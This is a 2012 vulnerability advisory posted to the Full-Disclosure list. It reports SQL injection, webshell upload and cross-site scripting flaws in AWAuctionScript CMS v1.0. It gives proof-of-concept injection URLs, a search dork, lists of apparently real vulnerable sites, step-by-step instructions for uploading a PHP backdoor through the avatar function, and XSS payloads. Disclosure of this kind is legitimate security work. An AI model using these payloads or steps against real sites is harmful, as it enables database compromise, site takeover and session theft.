Title: ====== AWAuctionScript CMS v1.x - Multiple Web Vulnerabilities
Date: ===== 2012-11-04 References: =========== http://www.vulnerability-lab.com/get_content.php?id=741 VL-ID: ===== 741 Common Vulnerability Scoring System: ==================================== 8.5 Introduction: ============= AwAuctionScript is a powerful auction marketplace where people purchasing online businesses can post their website for sale, domain for sale or webmaster ad. AwAuctionScript earns revenue from users listing fees and various upgrade fees. The included admin system gives the site owner control of the site. Users - registration with activation email - listing management - private messages - edit account - payment history log - create a website or domain listing - create ad space or webmaster ad space - add credits via paypal Admin System - change password Settings site configurations --- site address --- header title --- keywords --- meta content --- upgrade fee controls --- promotion credits control --- listing length controls User Management user list management --- edit, remove users user credit management --- add, remove, edit credits to account newsletter management --- view newsletter users Cost: $249 USD (Copy of the Vendor Homepage: http://codango.com/php/fnc/review/?id=9724910 ) Abstract: ========= The independent Vulnerability Laboratory Researcher (X-Cisadane) discovered multiple critical Web Vulnerabilities in the AWAuctionScript v1.0 CMS. Report-Timeline: ================ 2012-11-04: Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== 1.1 A remote SQL Injection vulnerability is detected in the AWAuctionScript v1.0 Content Management System Web Application. The vulnerability allows an attacker (remote) or local low privileged user account to execute a SQL commands on the affected application dbms. The sql injection vulnerability is located in listing.php file with the bound vulnerable PageNo parameter request. Successful exploitation of the vulnerability results in dbms & application compromise. Exploitation requires no user interaction & without privileged user account. Vulnerable File(s): [+] Listing.php Vulnerable Module(s): [+] Category Vulnerable Parameter(s): [+] &PageNo 1.2 A webshell upload vulnerability is detected in the in the AWAuctionScript v1.0 Content Management System Web Application. The vulnerability allows remote attackers to upload own files via a misconfigured upload function (restriction). The bug is located in the avatar upload function and the bound vulnerable (accessable) thumbnail path. Successful exploitation of the vulnerability result in malicious file uploads like webshell, malware and co. to compromise the application system itself. Vulnerable Module(s): [+] Upload Avatar - Edit Account 1.3 A persistent input validation vulnerability is detected in the AWAuctionScript v1.0 Content Management System Web Application. The bug allow remote attackers to implement/inject own malicious script code on the application side (persistent). The persistent vulnerabilities is located in the login module with the bound vulnerable username parameter. Successful exploitation of the vulnerability can lead to session hijacking(manager/admin) or stable (persistent) context manipulation. Exploitation requires low user inter action & low privileged web application user account. Vulnerable Module(s): [+] Login - User Management Vulnerable Parameter(s): [+] Username Proof of Concept: ================= 1.1 The SQL Injection vulnerability can be exploited by remote attackers without required user inter action or privileged application user account. For demonstration or reproduce ... PoC: http://[Server]/[PATH]/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!] Reference(s): http://www.xxx.net/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!] http://www.xxx.com/sellyoursite/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!] http://xxxbuyandsellwebsite.org/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!] http://www.xxx.net/offers/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!] http://xxx.com/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!] http://xxx.com/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!] http://www.xxx.com/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!] Dork(s): inurl:/listing.php?category=Website --- SQL Error Logs --- 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-12,6' at line 1 1.2 The Upload Shell/Backdoor Vulnerability can be exploited by remote attackers without required user inter action but with low privileged user application account. For demonstration or reproduce ... Example (Victim/Target) : http://testhacksite.com/ - Prepare your .php backdoor, rename it with index.php3 - Register to victim site, for example : http://testhacksite.com/ - Activate by E-Mail, after Activated login to http://testhacksite.com/login.php - Go to http://websiterama.com/edit-account.php - Upload the avatar, browse your Backdoor/Shell file & upload it! - Copy the image location/image url of the thumbnail (on the right) - Paste in URL. Voilaaaa! http://testhacksite.com/avatar/1031115958.php3 1.3 The persistent and non persistent cross site scripting vulnerabilities can be exploited by remote attacker with low privileged application user account and medium or high required user inter action. For demonstration or reproduce ... XSS (Non Persistent) Module(s): [+] Admin Login page PoC: "><script>alert(/xss/)</script> Note: Fill username with the poc string and the password with anything. Module(s): [+] On Listing Page PoC: http://victim site/<path>/listing.php?category=[Insert HTML/XSS Script] Reference(s): http://server.com/listing.php?category=<script>alert(/x-cisadane/)</script> XSS (Persistent) Module(s): [+] sell-your-site Requirement(s): *Must be logged in PoC: http://victim site/<path>/sell-your-site.php Example (Victim/Target): - Go to http://www.server.com/sell-your-site.php - On the Site Name, fill it with this script : <script>alert("Hacked)</script> - On the Site Description, fill it with this script on from this link http://pastebin.com/5mfg7xv4 - Done! Risk: ===== 1.1 The security risk of the remote sql injection vulnerability is estimated as critical. 1.2 The security risk of the webshell upload and restriction bypass vulnerability is estimated as high. 1.3 The security risk of the persistent and non-persistent cross site scripting vulnerabilities are estimated as medium(+)|(-)high. Credits: ======== X-Cisadane - (stefanus...@ymail.com) Greetz 2: X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Jabar Cyber, Winda Utari! Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: ad...@vulnerability-lab.com - supp...@vulnerability-lab.com - resea...@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (ad...@vulnerability-lab.com or supp...@vulnerability-lab.com) to get a permission. Copyright © 2012 | Vulnerability Laboratory -- VULNERABILITY RESEARCH LABORATORY LABORATORY RESEARCH TEAM CONTACT: resea...@vulnerability-lab.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
